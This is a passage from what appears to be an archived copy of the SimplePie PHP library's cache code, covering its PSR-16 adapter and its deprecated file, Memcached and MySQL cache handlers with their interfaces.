 * Caches data into a PSR-16 cache implementation
 *
 * @internal
 */
final class Psr16 implements DataCache
{
    /**
     * PSR-16 cache implementation
     *
     * @var CacheInterface
     */
    private $cache;

    /**
     * PSR-16 cache implementation
     *
     * @param CacheInterface $cache
     */
    public function __construct(CacheInterface $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->get($key, $default);

        if (!is_array($data) || $data === $default) {
            return $default;
        }

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        return $this->cache->set($key, $value, $ttl);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->delete($key);
    }
}
Cache/Memcached.php000064400000007365151450001630010134 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Paul L. McNeely
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Memcached as NativeMemcached;

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @uses       Memcached
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcached implements Base
{
    /**
     * NativeMemcached instance
     * @var NativeMemcached
     */
    protected $cache;

    /**
     * Options
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to NativeMemcached
     * @param string|false $data
     * @return bool Success status
     */
    private function setData($data): bool
    {
        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}

class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached');
Cache/Base.php000064400000003526151450001630007133 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Base for cache objects
 *
 * Classes to be used with {@see \SimplePie\Cache::register()} are expected
 * to implement this interface.
 *
 * @deprecated since SimplePie 1.8.0, use "Psr\SimpleCache\CacheInterface" instead
 */
interface Base
{
    /**
     * Feed cache type
     *
     * @var string
     */
    public const TYPE_FEED = 'spc';

    /**
     * Image cache type
     *
     * @var string
     */
    public const TYPE_IMAGE = 'spi';

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type);

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data);

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed> Data for SimplePie::$data
     */
    public function load();

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime();

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch();

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink();
}

class_alias('SimplePie\Cache\Base', 'SimplePie_Cache_Base');
Cache/File.php000064400000005641151450001630007140 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Caches data to the filesystem
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class File implements Base
{
    /**
     * Location string
     *
     * @see SimplePie::$cache_location
     * @var string
     */
    protected $location;

    /**
     * Filename
     *
     * @var string
     */
    protected $filename;

    /**
     * File extension
     *
     * @var string
     */
    protected $extension;

    /**
     * File path
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->location = $location;
        $this->filename = $name;
        $this->extension = $type;
        $this->name = "$this->location/$this->filename.$this->extension";
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) {
            if ($data instanceof \SimplePie\SimplePie) {
                $data = $data->data;
            }

            $data = serialize($data);
            return (bool) file_put_contents($this->name, $data);
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        if (file_exists($this->name) && is_readable($this->name)) {
            return unserialize((string) file_get_contents($this->name));
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        return @filemtime($this->name);
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        return @touch($this->name);
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if (file_exists($this->name)) {
            return unlink($this->name);
        }
        return false;
    }
}

class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');
Cache/DB.php000064400000007171151450001630006546 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use SimplePie\Item;

/**
 * Base class for database-based caches
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
abstract class DB implements Base
{
    /**
     * Helper for database conversion
     *
     * Converts a given {@see SimplePie} object into data to be stored
     *
     * @param \SimplePie\SimplePie $data
     * @return array{string, array<string, Item>} First item is the serialized data for storage, second item is the unique ID for this item
     */
    protected static function prepare_simplepie_object_for_cache(\SimplePie\SimplePie $data)
    {
        $items = $data->get_items();
        $items_by_id = [];

        if (!empty($items)) {
            foreach ($items as $item) {
                $items_by_id[$item->get_id()] = $item;
            }

            if (count($items_by_id) !== count($items)) {
                $items_by_id = [];
                foreach ($items as $item) {
                    $items_by_id[$item->get_id(true)] = $item;
                }
            }

            if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
            } else {
                $channel = null;
            }

            if ($channel !== null) {
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
                }
            }
            if (isset($data->data['items'])) {
                unset($data->data['items']);
            }
            if (isset($data->data['ordered_items'])) {
                unset($data->data['ordered_items']);
            }
        }
        return [serialize($data->data), $items_by_id];
    }
}

class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
Cache/CallableNameFilter.php000064400000002756151450001630011733 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable(string): string
     */
    private $callable;

    /**
     * @param callable(string): string $callable
     */
    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likely an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
Cache/MySQL.php000064400000032607151450001630007230 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class MySQL extends DB
{
    /**
     * PDO instance
     *
     * @var \PDO|null
     */
    protected $mysql;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache ID
     *
     * @var string
     */
    protected $id;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'user' => null,
            'pass' => null,
            'host' => '127.0.0.1',
            'port' => '3306',
            'path' => '',
            'extras' => [
                'prefix' => '',
                'cache_purge_time' => 2592000
            ],
        ];

        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        // Path is prefixed with a "/"
        $this->options['dbname'] = substr($this->options['path'], 1);

        try {
            $this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']);
        } catch (\PDOException $e) {
            $this->mysql = null;
            return;
        }

        $this->id = $name . $type;

        if (!$query = $this->mysql->query('SHOW TABLES')) {
            $this->mysql = null;
            return;
        }

        $db = [];
        while ($row = $query->fetchColumn()) {
            $db[] = $row;
        }

        if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }

        if (!in_array($this->options['extras']['prefix'] . 'items', $db)) {
            $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
            if ($query === false) {
                trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING);
                $this->mysql = null;
                return;
            }
        }
    }

    /**
     * Save data to the cache
     *
     * @param array<string>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
            '`' . $this->options['extras']['prefix'] . 'items` i ' .
            'WHERE cd.id = i.feed_id ' .
            'AND cd.mtime < (unix_timestamp() - :purge_time)');
        $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);

        if (!$query->execute()) {
            return false;
        }

        if ($data instanceof \SimplePie\SimplePie) {
            $data = clone $data;

            $prepared = self::prepare_simplepie_object_for_cache($data);

            $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->fetchColumn() > 0) {
                    $items = count($prepared[1]);
                    if ($items) {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                        $query->bindValue(':items', $items);
                    } else {
                        $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
                        $query = $this->mysql->prepare($sql);
                    }

                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if (!$query->execute()) {
                        return false;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
                    $query->bindValue(':feed', $this->id);
                    $query->bindValue(':count', count($prepared[1]));
                    $query->bindValue(':data', $prepared[0]);
                    $query->bindValue(':time', time());
                    if (!$query->execute()) {
                        return false;
                    }
                }

                $ids = array_keys($prepared[1]);
                if (!empty($ids)) {
                    foreach ($ids as $id) {
                        $database_ids[] = $this->mysql->quote($id);
                    }

                    $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
                    $query->bindValue(':feed', $this->id);

                    if ($query->execute()) {
                        $existing_ids = [];
                        while ($row = $query->fetchColumn()) {
                            $existing_ids[] = $row;
                        }

                        $new_ids = array_diff($ids, $existing_ids);

                        foreach ($new_ids as $new_id) {
                            if (!($date = $prepared[1][$new_id]->get_date('U'))) {
                                $date = time();
                            }

                            $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
                            $query->bindValue(':feed', $this->id);
                            $query->bindValue(':id', $new_id);
                            $query->bindValue(':data', serialize($prepared[1][$new_id]->data));
                            $query->bindValue(':date', $date);
                            if (!$query->execute()) {
                                return false;
                            }
                        }
                        return true;
                    }
                } else {
                    return true;
                }
            }
        } else {
            $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
            $query->bindValue(':feed', $this->id);
            if ($query->execute()) {
                if ($query->rowCount() > 0) {
                    $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        return true;
                    }
                } else {
                    $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
                    $query->bindValue(':id', $this->id);
                    $query->bindValue(':data', serialize($data));
                    $query->bindValue(':time', time());
                    if ($query->execute()) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<string>|false Data for SimplePie::$data
     */
    public function load()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($row = $query->fetch())) {
            $data = unserialize($row[1]);

            if (isset($this->options['items'][0])) {
                $items = (int) $this->options['items'][0];
            } else {
                $items = (int) $row[0];
            }

            if ($items !== 0) {
                if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
                } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) {
                    $feed = &$data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0];
                } else {
                    $feed = null;
                }

                if ($feed !== null) {
                    $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
                    if ($items > 0) {
                        $sql .= ' LIMIT ' . $items;
                    }

                    $query = $this->mysql->prepare($sql);
                    $query->bindValue(':feed', $this->id);
                    if ($query->execute()) {
                        while ($row = $query->fetchColumn()) {
                            $feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize((string) $row);
                        }
                    } else {
                        return false;
                    }
                }
            }
            return $data;
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        if ($query->execute() && ($time = $query->fetchColumn())) {
            return (int) $time;
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
        $query->bindValue(':time', time());
        $query->bindValue(':id', $this->id);

        return $query->execute() && $query->rowCount() > 0;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if ($this->mysql === null) {
            return false;
        }

        $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
        $query->bindValue(':id', $this->id);
        $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
        $query2->bindValue(':id', $this->id);

        return $query->execute() && $query2->execute();
    }
}

class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL');
Cache/DataCache.php000064400000005357151450001630010062 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Subset of PSR-16 Cache client for caching data arrays
 *
 * Only get(), set() and delete() methods are used,
 * but not has(), getMultiple(), setMultiple() or deleteMultiple().
 *
 * The methods names must be different, but should be compatible to the
 * methods of \Psr\SimpleCache\CacheInterface.
 *
 * @internal
 */
interface DataCache
{
    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string   $key     The unique key of this item in the cache.
     * @param mixed    $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null);

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool;

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool;
}
Cache/BaseDataCache.php000064400000007003151450001630010643 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Adapter for deprecated \SimplePie\Cache\Base implementations
 *
 * @internal
 */
final class BaseDataCache implements DataCache
{
    /**
     * @var Base
     */
    private $cache;

    public function __construct(Base $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->load();

        if (!is_array($data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is not set
        if (!array_key_exists('__cache_expiration_time', $data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is expired
        if ($data['__cache_expiration_time'] < time()) {
            return $default;
        }

        // remove internal cache expiration time
        unset($data['__cache_expiration_time']);

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        if ($ttl === null) {
            $ttl = 3600;
        }

        // place internal cache expiration time
        $value['__cache_expiration_time'] = time() + $ttl;

        return $this->cache->save($value);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->unlink();
    }
}
Cache/NameFilter.php000064400000002227151450001630010304 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Interface for creating a cache filename
 */
interface NameFilter
{
    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likely an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string;
}
Cache.php000064400000006260151450001630006257 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\Cache\Base;

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
 */
class Cache
{
    /**
     * Cache handler classes
     *
     * These receive 3 parameters to their constructor, as documented in
     * {@see register()}
     * @var array<string, class-string<Base>>
     */
    protected static $handlers = [
